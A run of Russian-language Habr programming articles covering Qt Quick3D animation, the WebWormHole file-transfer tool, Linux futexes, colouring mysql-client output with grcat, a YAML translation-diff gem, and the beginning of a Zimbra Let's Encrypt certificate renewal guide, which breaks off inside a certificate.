Начнем с открывающейся дверки. Для того, чтобы её открыть и закрыть, нам нужно сделать следующие вещи:
**1**. Создать элемент Rotation3D, описывающий, как именно (вокруг каких осей) будет вращаться некий объект.
```
Rotation3D {
id: doorOpen
angle: 0
axis: Qt.vector3d(0, 1, 0)
origin: Qt.vector3d(-3, 0, 0)
}
```
**2**. Создать элемент SequentialAnimation, суть которого будет в двух вызовах Rotation3D (один-для открытия дверки, второй — для закрытия) с разными направлениями поворота.
```
SequentialAnimation { id: doorOpenAndClose;
NumberAnimation { target: doorOpen; property: "angle"; from: 0; to : -80.0; duration: 800; easing.type: Easing.OutBounce}
NumberAnimation { target: doorOpen; property: "angle"; from: -80; to : 0.0; duration: 1200; easing.type: Easing.OutCubic}
}
```
**3**. Привязать элемент Rotation3D к Item3D, соответствующему нашей дверке.
```
Item3D { mesh: bottom_door; transform: [doorOpen] }
```
**4**. Вызвать из обработчика клика промежуточную функцию, которая запустит анимацию.
```
MouseArea {
anchors.fill: parent
onClicked: {
fullScene.openDoor();
}
}
...
Item3D {
id: fullScene
function openDoor() {
doorOpenAndClose.loops = 1;
doorOpenAndClose.start();
}
...
}
```
[Полный код на данном этапе](http://pastebin.com/3xtLLsC6)
Запускаем, кликаем. Бинго!
Дверца открывается и показывает внутри наше НЛО (пока вполне себе мирно висящее). Задача анимации вылета НЛО один-в-один аналогична открытию дверцы. Поэтому без лишних комментариев финальный код:
```
import QtQuick 1.0
import Qt3D 1.0
Rectangle {
color: "black"
width: 400
height: 600
Viewport {
anchors.fill: parent
MouseArea {
anchors.fill: parent
onClicked: {
fullScene.openDoor();
}
}
camera: Camera {
id: viewCamera
eye: Qt.vector3d(15,10,40)
center: Qt.vector3d(-2,10,0)
}
Item3D {
id: fullScene
function openDoor(){
doorOpenAndClose.loops = 1;
doorOpenAndClose.start();
ufoFlyOutAndTeleportBack.loops = 1;
ufoFlyOutAndTeleportBack.start();
}
Mesh { id: refrigirator; source: "refr.3ds" }
Mesh { id: ufo; source: "ufo.3ds" }
Mesh { id: bottom_door; source: "door.3ds" }
Item3D { mesh: refrigirator }
Item3D { mesh: ufo; transform: [ufoFlyOut]}
Item3D { mesh: bottom_door; transform: [doorOpen] }
// ------------------ Transform + Animations ------------------
Rotation3D {
id: doorOpen
angle: 0
axis: Qt.vector3d(0, 1, 0)
origin: Qt.vector3d(-3, 0, 0)
}
Rotation3D {
id: ufoFlyOut
angle: 0
axis: Qt.vector3d(0, 3, -1)
origin: Qt.vector3d(10, 0, 0)
}
SequentialAnimation { id: doorOpenAndClose;
NumberAnimation { target: doorOpen; property: "angle"; from: 0; to : -80.0; duration: 800; easing.type: Easing.OutBounce}
NumberAnimation { target: doorOpen; property: "angle"; from: -80; to : 0.0; duration: 1200; easing.type: Easing.OutCubic}
}
SequentialAnimation { id: ufoFlyOutAndTeleportBack;
NumberAnimation { target: ufoFlyOut; property: "angle"; from: 0; to : 100.0; duration: 1700; easing.type: Easing.OutCurve}
NumberAnimation { target: ufoFlyOut; property: "angle"; from: 100; to : 0.0; duration: 0; easing.type: Easing.OutCubic}
}
}
}
}
```
и еще раз результат:
Все исходники проекта можно взять [тут](http://habra-holod.googlecode.com/svn/trunk/).
#### Полезные материалы по теме
1. [Представление Qt Quick3D и ссылки на загрузку под разные платформы](http://labs.qt.nokia.com/2011/09/19/new-qt-quick3d-packages-available/)
2. Клёвый [туториал](http://labs.qt.nokia.com/2011/08/24/qt-quick-3d-tutorial-video/) по созданию модели машинки
3. Официальная документация по [Qt Quick3D](http://doc.qt.nokia.com/qt-quick3d-snapshot/index.html) | https://habr.com/ru/post/133126/ | null | ru | null |
# Прямая передача файлов между устройствами по WebRTC
Новый сервис [WebWormHole](https://webwormhole.io/) работает как портал, через который файлы передаются с компьютера на другой. Нажимаете кнопку *New Wormhole* — и получаете код для входа. Человек с другой стороны вводит такой же код или URL — и между вами устанавливается эфемерный туннель, по которому напрямую передаются файлы. Очень просто и эффективно. [Исходный код на Github](https://github.com/saljam/webwormhole).
Для установки портала между устройствами необязательно открывать браузер. Клиент на Go запускается из командной строки и генерирует одноразовый код в консоли.
Установка:
```
$ go get -u webwormhole.io/cmd/ww
```
Передача:
```
$ cat hello.txt
hello, world
$ ww send hello.txt
8-enlist-decadence
```
Получатель на другой стороне эфемерного тоннеля вводит одноразовый код в консоли — и получает файл.
```
$ ww receive 8-enlist-decadence
$ cat hello.txt
hello, world
```
Автор программы Сальман Альджаммаз (Salmān Aljammāz) предупреждает, что клиент находится в ранней разработке, использует экспериментальные криптографические библиотеки, поэтому может глючить и работать не во всех браузерах. Программа также не прошла аудит безопасности, так что может работать неправильно и небезопасно.
Автор позаимствовал идею и название у программы [Magic Wormhole](https://github.com/warner/magic-wormhole), которая тоже устанавливает пиринговое соединение и передаёт файлы между компьютерами.
*Magic Wormhole*
Отличие в том, что WebWormHole использует WebRTC, что позволяет пробить файрволы и NAT, а также запускать передачу из браузера.
Каждый тоннель защищается одноразовым паролем и [PAKE](https://en.wikipedia.org/wiki/Password-authenticated_key_agreement) — это специфический способ обмена ключами с проверкой подлинности пароля для установки зашифрованного соединения. При этом сам пароль не передаётся по сети ни в каком виде.
Проверка осуществляется примерно как в [доказательстве с нулевым разглашением](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BA%D0%B0%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%D0%BE_%D1%81_%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D1%8B%D0%BC_%D1%80%D0%B0%D0%B7%D0%B3%D0%BB%D0%B0%D1%88%D0%B5%D0%BD%D0%B8%D0%B5%D0%BC), в котором получатель может убедиться в достоверности какого-либо утверждения, не имея при этом никакой другой информации от отправителя.
*SPAKE2*
В WebWormHole для выработки общего ключа шифрования происходит обмен описаниями сессий с отпечатками сертификатов DTLS, которые использует WebRTC для шифрования соединений.
Передача файлов через пиринговый тоннель быстрее и безопаснее, чем по почте, FTP или другими способами. По удобству и безопасности эти способы сравниваются в таблице из [презентации Magic Wormhole](http://www.lothar.com/~warner/MagicWormhole-PyCon2016.pdf):
| | Ввод отправителем | Ввод получателем | Физическая близость | Прослушка |
| --- | --- | --- | --- | --- |
| Электронная почта | ~30 симв. | | | провайдеры, центры сертификации, интернет |
| Загрузка на FTP/HTTP | | ~60 симв. | | сервер, провайдеры, центры сертификации, интернет |
| Dropbox | | ~60 симв. | | Dropbox, центры сертификации |
| +сервис сокращения ссылок | | ~20 симв. | | сервис сокращения ссылок, случайный перебор, Dropbox, центры сертификации |
| USB-накопитель | | | Х | |
| SSH/scp | | ~740 симв. публичный ключ | | никто |
| **magic wormhole** | | ~20 симв. | | **никто** |
***Примечание**. С момента составления этой таблицы в далёком 2016 году были запущены удобные сервисы для передачи файлов типа [Firefox Send](https://send.firefox.com/) (есть [консольный клиент](https://github.com/timvisee/ffsend)) и [File.pizza](https://file.pizza/)*
Кроме питоновского Magic Wormhole, есть и другие клиенты для установления прямых соединений по WebRTC между компьютерами:
* [pion WebRTC](https://github.com/pion/webrtc): реализация WebRTC API на Go
* [aiortc](https://github.com/aiortc/aiortc): библиотека WebRTC для питоновского фреймворка asyncio
* [webrtcbin](https://gstreamer.freedesktop.org/documentation/webrtc/index.html?gi-language=c)
* [rawrtc](https://github.com/rawrtc/rawrtc)
* [node-webrtc](https://github.com/node-webrtc/node-webrtc)
В качестве бонуса:
* [rtc-ssh](https://github.com/mxseba/rtc-ssh): WebRTC-обёртка для SSH-соединений
По каналу WebRTC можно установить видеосвязь между устройствами, передавать голос, файлы и т. д.
Что касается механизма обмена ключами PAKE, то он полезен и в разных областях. Например, позволяет реализовать аутентификацию на сайте без передачи пароля на сервер. | https://habr.com/ru/post/500356/ | null | ru | null |
# Основы работы с фьютексами
**Фьютекс** (futex — сокращение от «Fast userspace mutex») — это механизм, предложенный разработчиками Linux из IBM в 2002 году и вошедший в ядро в конце 2003 года. Основной идеей было предоставить более эффективный способ синхронизации пользовательских потоков с минимальным количеством обращений к ядру ОС.
В этой статье мы сделаем обзор фьютексов, попытаемся понять принципы их работы, а также используем их в качестве кирпичиков для построения более высокоуровневых (и знакомых нам) объектов синхронизации.
Важный момент: фьютексы — это достаточно низкоуровневый инструмент, напрямую его использовать стоит лишь при разработке фундаментальных библиотек, вроде стандартной библиотеки C/C++. Очень маловероятно, что вам понадобится использовать фьютексы в обычном прикладном приложении.
### Мотивация
До появления фьютексов для управления доступом к общим ресурсам из нескольких потоков приходилось каждый раз делать системные вызовы (с использованием, например, [semop](http://man7.org/linux/man-pages/man2/semop.2.html)), что, как известно, достаточно ресурсозатратно, поскольку каждый вызов требует переключения контекста из пользовательского режима в режим ядра. С ростом количества ядер в современных процессорах и повышением количества потоков в прикладном ПО это стало существенной проблемой. Она тем более «обидна», учитывая, что все эти вызовы не несут никакой прикладной функции, не реализуют никакой бизнес-логики, а лишь гарантируют корректную работу остального кода.
Предложение добавить в ОС новую концепцию «фьютекс» базировалась на простом наблюдении: в большинстве случаев попытка захвата объекта синхронизации удаётся с первого раза. Программисты пишут ПО таким образом, чтобы от захвата блокировки до её освобождения проходило как можно меньше времени, а значит есть очень высокие шансы на то, что попытка захвата другим потоком не встретит препятствий. Когда поток доходит до такого «свободного» объекта синхронизации — мы можем захватить его без выполнения системного вызова, с использованием относительно дешевых атомарных операций. И есть очень большой шанс того, что атомарная операция сработает успешно.
В том редком случае, когда мы всё-таки пытаемся получить доступ к ресурсу, заблокированному другим потоком, атомарная операция вернёт ошибку. В этом случае у нас есть два варианта. Мы либо можем покрутиться в каком-нибудь спин-локе пользовательского режима, ожидая освобождения ресурса (что съест ресурсы CPU), либо попросить ядро перевести нас в спящий режим, ожидая освобождения ресурса. Именно здесь на сцену выходят фьютексы.
### Простое использование фьютексов — ожидание и пробуждение
[Системный вызов futex](http://man7.org/linux/man-pages/man2/futex.2.html) объединяет в себе достаточно разнообразную функциональность. Мы не будем рассматривать здесь сложные варианты (некоторые из них настолько вычурны, что даже не описаны в официальной документации), а сфокусируемся на операциях FUTEX\_WAIT и FUTEX\_WAKE. Описание в официальной документации послужит хорошей базой:
> Системный вызов futex() предоставляет программам метод для ожидания пока определённое условие не станет истинным. Обычно, этот системный вызов используется блокирующая конструкция в контексте синхронизации общей памяти. При использовании фьютексов основные операции синхронизации выполняются в пространстве пользователя. Программы пользовательского пространства выполняются системный вызов futex() только когда нужно, чтобы программа вошла в режим ожидания на долгий срок, пока условие не станет истинным. Также futex() можно использовать для пробуждения процессов или нитей, ожидающих определённого условия.
Проще говоря, фьютекс — это конструкция в ядре, которая помогает пользовательскому коду синхронизировать потоки при наступлении каких-то событий. Одни процессы (или потоки) могут ожидать события в вызове FUTEX\_WAIT, в то время как другие — вызывать эти события с помощью FUTEX\_WAKE. Ожидание работает эффективно — ожидающие потоки приостанавливаются ядром и не используют процессорных ресурсов, пока не будут пробуждены при наступлении ожидаемого события.
Не поленитесь прочитать документацию полностью. Ну или хотя бы прочитайте разделы о FUTEX\_WAIT и FUTEX\_WAKE.
Давайте рассмотрим [простой пример](https://github.com/eliben/code-for-blog/blob/master/2018/futex-basics/futex-basic-process.c), демонстрирующий базовое использование фьютексов для координации работы двух процессов.
Дочерний процесс:
1. Ждёт появления в общем слоте памяти значения 0xA
2. Записывает в этот слот значение 0xB
Родительский процесс в это время:
1. Записывает значение 0xA в общий слот памяти
2. Ждёт появления в нём значения 0xB
Такое себе «рукопожатие» между двумя процессами. Вот код:
```
int main(int argc, char** argv) {
int shm_id = shmget(IPC_PRIVATE, 4096, IPC_CREAT | 0666);
if (shm_id < 0) {
perror("shmget");
exit(1);
}
int* shared_data = shmat(shm_id, NULL, 0);
*shared_data = 0;
int forkstatus = fork();
if (forkstatus < 0) {
perror("fork");
exit(1);
}
if (forkstatus == 0) {
// дочерний процесс
printf("child waiting for A\n");
wait_on_futex_value(shared_data, 0xA);
printf("child writing B\n");
// записываем 0xB в разделяемый слот памяти и ждём ответа родителя
*shared_data = 0xB;
wake_futex_blocking(shared_data);
} else {
// родительский процесс
printf("parent writing A\n");
// Записываем 0xA в разделяемый слот памяти и ждём ответа ребёнка
*shared_data = 0xA;
wake_futex_blocking(shared_data);
printf("parent waiting for B\n");
wait_on_futex_value(shared_data, 0xB);
// Wait for the child to terminate.
wait(NULL);
shmdt(shared_data);
}
return 0;
}
```
Обратите внимание на POSIX-вызовы для выделения разделяемой между процессами памяти. Мы не могли использовать здесь обычное выделение памяти, поскольку даже одинаковые адреса указателей в разных процессах на самом деле указывали бы на разные блоки памяти (уникальные для каждого процесса).
Нужно отметить, что данный пример несколько отходит от канонов, ведь фьютекс изначально создавался чтобы ждать изменения некоторого значения «с чего-то конкретного на что-угодно», а не «с чего-угодно на что-то конкретное». Я привёл этот пример для того, чтобы продемонстрировать и такую возможность, а ниже мы рассмотрим и базовый вариант (на нём мы реализуем мьютекс).
А вот и код функции wait\_on\_futex\_value:
```
void wait_on_futex_value(int* futex_addr, int val) {
while (1) {
int futex_rc = futex(futex_addr, FUTEX_WAIT, val, NULL, NULL, 0);
if (futex_rc == -1) {
if (errno != EAGAIN) {
perror("futex");
exit(1);
}
} else if (futex_rc == 0) {
if (*futex_addr == val) {
// здесь мы просыпаемся
return;
}
} else {
abort();
}
}
}
```
Главной задачей данной функции (помимо, собственно, системного вызова futex) является цикл, в котором мы бегаем при ложном (не интересующем нас) пробуждении. Это может случиться при установке в разделяемый слот памяти нового, но не ожидаемого нами значения. Ну или в случае, когда другой процесс был пробуждён раньше нашего (этого не может случиться в нашем конкретном случае, но в более общем — возможно).
Семантика фьютекса — достаточно хитрая штука! Вызов FUTEX\_WAIT немедленно вернётся, если значение по адресу фьютекса не равно переданному аргументу val. В нашем случае это может случиться, если дочерний процесс перешел в ожидание до того, как родительский записал в слот значение 0xA. Фьютекс в этом случае вернёт значение EAGAIN.
А вот код функции wake\_futex\_blocking:
```
void wake_futex_blocking(int* futex_addr) {
while (1) {
int futex_rc = futex(futex_addr, FUTEX_WAKE, 1, NULL, NULL, 0);
if (futex_rc == -1) {
perror("futex wake");
exit(1);
} else if (futex_rc > 0) {
return;
}
}
}
```
Это блокирующая обёртка над FUTEX\_WAKE, которая быстро отработает и вернёт значение, независимо от того, как много слушателей его ожидают. В нашем примере это используется как часть «рукопожатия», но возможны и другие применения.
### Фьютексы — это очереди ядра для пользовательского кода
Попросту говоря, фьютекс — это очередь, управляемая ядром для решения задач пользовательского кода. Она позволяет пользовательскому коду запросить ядро приостановить выполнение своего потока до наступления некоторого события, а другому потоку в то же время — просигнализировать это событие и разбудить все ожидающие его потоки. Ранее мы упоминали возможность организовать спин-лок в пользовательском режиме, ожидая выполнение некоторого условия. Однако, очередь в ядре является значительно лучшей альтернативой, ведь она спасает нас от миллиардов впустую сожженных процессорных инструкций, выполняемых в цикле ожидания.
Вот диаграма из статьи [«A futex overview and update»](https://lwn.net/Articles/360699/) на LWN:
В коде ядра Linux фьютексы реализованы в файле kernel/futex.c. Ядро хранит хеш-таблицу, где ключами являются адреса — для быстрого поиска нужной очереди и добавления вызывающего процесса в неё. Всё, конечно, не так просто — ведь ядру и самому нужно синхронизировать доступ к данным внутри, плюс поддерживать всякие дополнительные опции фьютексов.
### Ограниченное по времени ожидание с FUTEX\_WAIT
Системный вызов futex имеет параметр timeout, позволяющий пользователю указать, как долго он готов ожидать. Вот полный [пример](https://github.com/eliben/code-for-blog/blob/master/2018/futex-basics/futex-wait-timeout.c), где это реализовано, а вот его ключевая часть:
```
printf("child waiting for A\n");
struct timespec timeout = {.tv_sec = 0, .tv_nsec = 500000000};
while (1) {
unsigned long long t1 = time_ns();
int futex_rc = futex(shared_data, FUTEX_WAIT, 0xA, &timeout, NULL, 0);
printf("child woken up rc=%d errno=%s, elapsed=%llu\n", futex_rc,
futex_rc ? strerror(errno) : "", time_ns() - t1);
if (futex_rc == 0 && *shared_data == 0xA) {
break;
}
}
```
Если ожидание затянется на 500 мс, то функция futex завершится, и мы в очередной итерации цикла можем как-то на это отреагировать (вывести что-то на экран, записать в лог, продолжить ожидание или остановиться).
### Используем фьютекс для реализации мьютекса
Мы начали эту статью с того, что фьютексы имеют практическую пользу при реализации более высокоуровневых объектов синхронизации. Давайте же попробуем, используя их (а также атомики) реализовать классический мьютекс. Реализация ниже построена на базе кода из статьи «Futexes are Tricky», написанной Ulrich Drepper.
Для этого примера я использую С++, в основном для возможности использовать атомики из стандарта С++11. Полный код вы можете найти [здесь](https://github.com/eliben/code-for-blog/blob/master/2018/futex-basics/mutex-using-futex.cpp), а вот наиболее важная его часть:
```
class Mutex {
public:
Mutex() : atom_(0) {}
void lock() {
int c = cmpxchg(&atom_, 0, 1);
// If the lock was previously unlocked, there's nothing else for us to do.
// Otherwise, we'll probably have to wait.
if (c != 0) {
do {
// If the mutex is locked, we signal that we're waiting by setting the
// atom to 2. A shortcut checks is it's 2 already and avoids the atomic
// operation in this case.
if (c == 2 || cmpxchg(&atom_, 1, 2) != 0) {
// Here we have to actually sleep, because the mutex is actually
// locked. Note that it's not necessary to loop around this syscall;
// a spurious wakeup will do no harm since we only exit the do...while
// loop when atom_ is indeed 0.
syscall(SYS_futex, (int*)&atom_, FUTEX_WAIT, 2, 0, 0, 0);
}
// We're here when either:
// (a) the mutex was in fact unlocked (by an intervening thread).
// (b) we slept waiting for the atom and were awoken.
//
// So we try to lock the atom again. We set teh state to 2 because we
// can't be certain there's no other thread at this exact point. So we
// prefer to err on the safe side.
} while ((c = cmpxchg(&atom_, 0, 2)) != 0);
}
}
void unlock() {
if (atom_.fetch_sub(1) != 1) {
atom_.store(0);
syscall(SYS_futex, (int*)&atom_, FUTEX_WAKE, 1, 0, 0, 0);
}
}
private:
// 0 means unlocked
// 1 means locked, no waiters
// 2 means locked, there are waiters in lock()
std::atomic atom\_;
};
```
В этом коде функция cmpxhg — это простая обёртка для более удобного использования атомиков:
```
// An atomic_compare_exchange wrapper with semantics expected by the paper's
// mutex - return the old value stored in the atom.
int cmpxchg(std::atomic\* atom, int expected, int desired) {
int\* ep = &expected
std::atomic\_compare\_exchange\_strong(atom, ep, desired);
return \*ep;
}
```
Данный пример кода содержит много комментариев с объяснением логики его работы. Это не помешает, поскольку есть существенный риск того, что вам захочется написать чуть более простую, но совершенно неправильную его версию. Что касается данного кода — он тоже не во всём идеален. Например, он пытается сделать предположение о внутреннем устройстве типа std::atomic, приводя его содержимое к int\* для передачи в вызов futex. Это, в общем, случае, не верно. Код компилируется и работает на Linux x64, но у нас нет гарантии совместимости с другими платформами. Чтобы её получить — нам нужно добавить слой платформенной зависимости для атомиков. Поскольку это не тема данной статьи (а также потому что очень вряд ли вы будете смешивать в одном модуле С++ и фьютексы) мы опустим эту реализацию. Это просто демонстрация!
### Мьютексы в glibc и низкоуровневые блокировки
И вот мы подобрались к тому, как glibc реализует POSIX-потоки, частью которых является тип pthread\_mutex\_t. Как я уже говорил в начале данной статьи, фьютексы — не совсем та вещь, которая понадобится рядовому разработчику. Они используются рантайм-библиотеками или чем-то очень узкоспециализированным для реализации примитивов синхронизации более высокого уровня. В этом контексте интересно посмотреть на реализацию мьютекса для [NPTL](https://en.wikipedia.org/wiki/Native_POSIX_Thread_Library). В коде glibc это файл nptl/pthread\_mutex\_lock.c.
Код достаточно усложнён из-за необходимости поддерживать различные типы мьютексов, но мы при желании можем найти достаточно знакомые блоки. Также можно взглянуть на файлы sysdeps/unix/sysv/linux/x86\_64/lowlevellock.h и nptl/lowlevellock.c. Код несколько запутанный, но всё же комбинация операций сравнение-и-обмен и вызова futex находится легко.
Начальный комментарий файла systeds/nptl/lowlevellock.h должен вам уже быть хорошо понятен:
```
/* Low-level locks use a combination of atomic operations (to acquire and
release lock ownership) and futex operations (to block until the state
of a lock changes). A lock can be in one of three states:
0: not acquired,
1: acquired with no waiters; no other threads are blocked or about to block
for changes to the lock state,
>1: acquired, possibly with waiters; there may be other threads blocked or
about to block for changes to the lock state.
We expect that the common case is an uncontended lock, so we just need
to transition the lock between states 0 and 1; releasing the lock does
not need to wake any other blocked threads. If the lock is contended
and a thread decides to block using a futex operation, then this thread
needs to first change the state to >1; if this state is observed during
lock release, the releasing thread will wake one of the potentially
blocked threads.
..
*/
```
### Фьютексы в рантайме Go
Рантайм Go не использует libc (в большинстве случаев). Таким образом, он не может полагаться на реализацию POSIX-потоков. Вместо этого он напрямую вызывает лежащие уровнем ниже системные вызовы. Это делает его хорошим примером использования фьютексов. Поскольку нет возможности вызвать pthread\_mutex\_t — приходится писать свою замену. Давайте посмотрим как это сделано, начнём с видимого пользователю типа sync.Mutex (в src/sync/mutex.go).
Метод Lock этого типа пытается использовать атомарную операцию обмена (swap) для быстрого захвата блокировки. Если оказывается, что нужно ждать, он вызывает runtime\_SemacquireMutex, который вызывает runtime.lock. Эта функция определена в src/runtime/lock\_futex.go и в ней объявлено несколько констант, которые вам уже могут показаться знакомыми:
```
const (
mutex_unlocked = 0
mutex_locked = 1
mutex_sleeping = 2
...
)
// Possible lock states are mutex_unlocked, mutex_locked and mutex_sleeping.
// mutex_sleeping means that there is presumably at least one sleeping thread.
```
runtime.lock также пытается захватить блокировку с помощью атомик-функции. Это имеет смысл, поскольку runtime.lock вызывается во многих местах рантайма Go, но мне кажется можно было бы как-то оптимизировать код, убрав два последовательных вызова атомик-функции при вызове runtime.lock из Mutex.lock.
Если оказывается, что нужно ждать — вызывается платформозависимая функция futexsleep, которая определена для Linux в файле src/runtime/os\_linux.go. Эта функция делает системный вызов futex с кодом FUTEX\_WAIT\_PRIVATE (в данном случае это подходит, поскольку рантайм Go живёт в одном процессе). | https://habr.com/ru/post/418705/ | null | ru | null |
# Разукрашиваем вывод mysql-client в консоли
Цвет и звук — это те небольшие радости, которые могут разукрасить и облегчить будние администратора при постоянной работе с консолью. Вывод цветовой информации регулируется так называемым escape-последовательностями, определяющими среди прочего цвет текста и цвет фона.
Общий вид: `\033[Xm`, где X — это значение параметра (цифра). Например, `echo -ne "\033[34mHELLO"` выведет синим цветом «HELLO». Таблицу цветов и других доступных параметров (подчеркивание, мигание и т.п.) можно получить в документации `man console_codes` в разделе «ECMA-48 Set Graphics Rendition». Обычно поддержка цвета интегрирована в само приложение, но mysql-client не входит в число таких программ.
В интернете не раз был встречен вопрос о разукрашивании консоли mysql, но нигде не нашлось рецепта. Только общие слова «может быть состряпать обертку» или «посмотрите в исходном коде». Такой вопрос на StackOverflow жил без ответа более 2 лет! «Жил» было специально употреблено в прошедшем времени, потому что ответ нашелся.
Поможет нам утилита grc. Она доступна в большинстве дистрибутивов и о ней многие знают. Но как обернуть в нее вывод mysql-client?
Утилита grc (Generic Colorizer) — это на самом деле обертка для grcat, которая запускает указанную команду и направляет вывод в grcat согласно конфигу. Нам понадобится непосредственно grcat, для которой будет написан конфиг, а так же небольшая настройка mysql-client.
В чем же проблема просто направить вывод mysql-client в grcat? Или просто использовать `grc mysql`…? В том, что mysql-client распознает окружение, из которого вызывалась команда. Если она используется интерактивно, то отображается табличная разметка. Если вызов был из скрипта, или поток данных направлен в другую программу — убирает табличную разметку из вывода и использует табуляцию. Простой пример:
```
$ mysql test -e "select * from test_table"
+----+-------+
| id | value |
+----+-------+
| 1 | a |
+----+-------+
```
```
$ mysql temp -e "select * from test_table" | cat -
id value
1 a
```
В первом случае мы используем вывод в консоль, и отображается таблица. Во втором — перенаправляем вывод через cat, при этом таблица магическим образом пропадает.
*Как подсказал пользователь [truezemez](https://habrahabr.ru/users/truezemez/) в [комментарии](http://habrahabr.ru/post/151406/#comment_5133981), табличный вывод можно сохранить с помощью опции `--table`. В этом случае перенаправление вывода в grc так же будет работать.*
И на помощь приходит ~~черный плащ~~ чтение документации mysql. Оказывается, в mysql-client можно задать параметр PAGER, который отвечает за вывод результатов на экран. Им-то мы и воспользуемся, прописав туда grcat. Не забываем указать файл с конфигурацией. Вот фрагмент файла ~/.my.cnf:
```
[mysql]
pager = grcat ~/.grcat
```
Не обязательно задавать PAGER в конфиге, можно каждый раз вводить его руками, но это уже на любителя
```
mysql> pager grcat ~/.grcat
PAGER set to 'grcat ~/.grcat'
```
Все, что нам осталось сделать — это оформить конфиг для grcat, чтобы он распознавал таблицы mysql при выводе и применял к ним цветовую схему. Выше мы указали, что искать его следует по пути ~/.grcat. Конфиг состоит из групп параметров, обязательными являются regexp и colours. Параметры разделяются минусом, а решетка — это комментарии. Утилита проверяет совпадение регулярного выражение с текущей строкой и применяет на результат совпадения указанный цвет. Если в конфигурации указан параметр `count=stop`, то при совпадении регулярного выражения программа переходит к следующей строке выводимого текста. При отсутствии `count=stop` указанные настройки применяются последовательно. Вот такой может получится конфигурация:
```
#разделители строк для вертикального вывода результатов с помощью \G
regexp=[*]+.+[*]+
count=stop
colours=white
-
#границы таблиц
regexp=[+\-|]+
colours=red
-
#цвет текста по умолчанию
regexp=[\w\.]+
colours=green
-
#текст в скобках ( ) и кавычках ' '
regexp=\([\w\d,']+\)
colours=white
-
#числа
regexp=\s[\d\.]+\s
colours=yellow
-
#имена полей при вертикальном выводе с помощью \G
regexp=\w+:
colours=white
-
#даты
regexp=\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2}
colours=cyan
-
#IP
regexp=(\d{1,3}\.){3}\d{1,3}(:\d{1,5})?
colours=cyan
-
#поля, таблицы и другие системные сущности в символах ` `
regexp=`\w+`
colours=yellow
-
#email
regexp=[\w\.\-_]+@[\w\.\-_]+
colours=magenta
```
Сама утилита grcat написана на питоне, любители смогут подсмотреть код и написать конфиг под свои нужды. Для остальных существует документация `man grc` и [неплохое пособие с примерами](http://kassiopeia.juls.savba.sk/~garabik/software/grc/README.txt).
Конфигурационные файлы доступны на [github](https://github.com/nitso/colour-mysql-console). Эта же ссылка указана в ответе на упомянутый выше [вопрос на StackOverflow](http://stackoverflow.com/questions/1940324/mysql-color-scheme/11869895)
И немного приятностей про mysql-client:
**Горизонтальная прокрутка результатов**
(да и вертикальная тоже, на самом деле) с наводки пользователей [nekt](https://habrahabr.ru/users/nekt/) и [Daedmen](https://habrahabr.ru/users/daedmen/):
`pager = grcat ~/.grcat | less -RS`
Флаг -S активирует горизонтальную прокрутку, -R прокидывает цвета.
Еще интересные флаги для less, спасибо пользователю [wickedweasel](https://habrahabr.ru/users/wickedweasel/)
-F выходит из less, если всё помещается на один экран
-i ignore case для поиска
-n убирает номера строк
-X не очищает экран после выхода из less, что в консоли бывает полезно — видно результаты предыдущего запроса
Что еще можно делать с помощью pager:
[www.mysqlperformanceblog.com/2008/06/23/neat-tricks-for-the-mysql-command-line-pager](http://www.mysqlperformanceblog.com/2008/06/23/neat-tricks-for-the-mysql-command-line-pager/)
Установка удобного приветствия в mysql-client:
[www.ultraquantix.com/blog/2008/12/making-the-mysql-prompt-more-useful](https://www.ultraquantix.com/blog/2008/12/making-the-mysql-prompt-more-useful/) | https://habr.com/ru/post/151406/ | null | ru | null |
# Поиск недостающих ключей в yaml-файлах
Иногда open source проекты переводятся на множество иностранных языков. С одной стороны это делает их более доступными для широкого круга пользователей, но с другой стороны, все эти переводы нужно поддерживать. Переводы обычно разделены по yaml-файлам и выделены в отдельную директорию, содержимое которой выглядит примерно так: en.yml, ru.yml, de.yml...
Что мне приходится видеть в open source проектах, это что в определенный период времени кто-то решил перевести все тексты на свой родной язык, добавляя при этом файл вида xx.yml. Перевод сделан, все отлично, но проект не стоит на месте, добавляются новые функции, удаляется старый код. Человек, который сделал изначальный перевод, в большинстве случаев, уже не следит за всеми эти движениями и не добавляет за каждым разом новые переводы. Люди, которые контрибьютят код, тоже не способны делать переводы на все языки, которые поддерживает проект. Получается так, что имеется много yml файлов, эталонным из них обычно является en.yml. Когда приходят новые люди, желающие дополнить недостающие переводы, они сталкиваются с проблемой что в каждом файле сотни строк текста и никак нельзя понять какие из них отсутствуют или избыточны.
Именно для этих целей, я написал простой джем под названием [Differz](https://github.com/HeeL/differz), который сравнивает yaml-файлы и показывает недостающие ключи. Установить можно просто выполнив
```
gem install differz
```
Если используется rbenv, то так же нужно выполнить
```
rbenv rehash
```
Чтобы показать разницу между en.yml и de.yml, нужно выполнить такую строку в консоли:
```
differz show en.yml de.yml
```
Для примера, я запустил данное приложение на популярном проекте activeadmin, которое перевели на много языков. Вот результат сравнение en.yml и de.yml:
В планах было давать возможность пользователю заполнять все недостающие ключи прямо из консоли. Для этого будет служить еще не написанная команда edit. | https://habr.com/ru/post/207896/ | null | ru | null |
# Обновление SSL сертификата Let's Encrypt в Zimbra 8
Как многие знают, вчера закончился сертификат Let's Encrypt DST Root CA X3, использовавшийся, в том числе и для почтовых серверов Zimbra.
Я прождал до последнего и столкнулся с несколькими проблемами после его истечения, например перестала отправляться почта из системы обработки заявок OTRS и почтового клиента Spark. После некоторой возни было найдено решение по обновлению сертификата с новым корневым CA.
Моя конфигурация - Centos 7.9 и Zimbra 8.8.11
Инструкция по обновлению
------------------------
Устанавливаем новый certbot
```
sudo yum install epel-release
sudo yum install snapd
sudo systemctl enable --now snapd.socket
sudo snap install core
sudo reboot
```
После перезагрузки Zimbra отказалась запускаться, сославшись на некорректный сертификат, но на всякий случай, я приведу команды в таком порядке, как будто она работает.
Если вы впервые получаете сертификат, замените 3 строку на это:
```
certbot certonly --standalone --preferred-chain "ISRG Root X1"
```
**mail.example.com** в 6 строке необходимо заменить на доменное имя вашего почтового сервера
**letsencryptCA** в 7 строке - файл, содержащий новый корневой сертификат. Вы должны создать его сами и скопировать туда этот текст:
```
-----BEGIN CERTIFICATE-----
MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
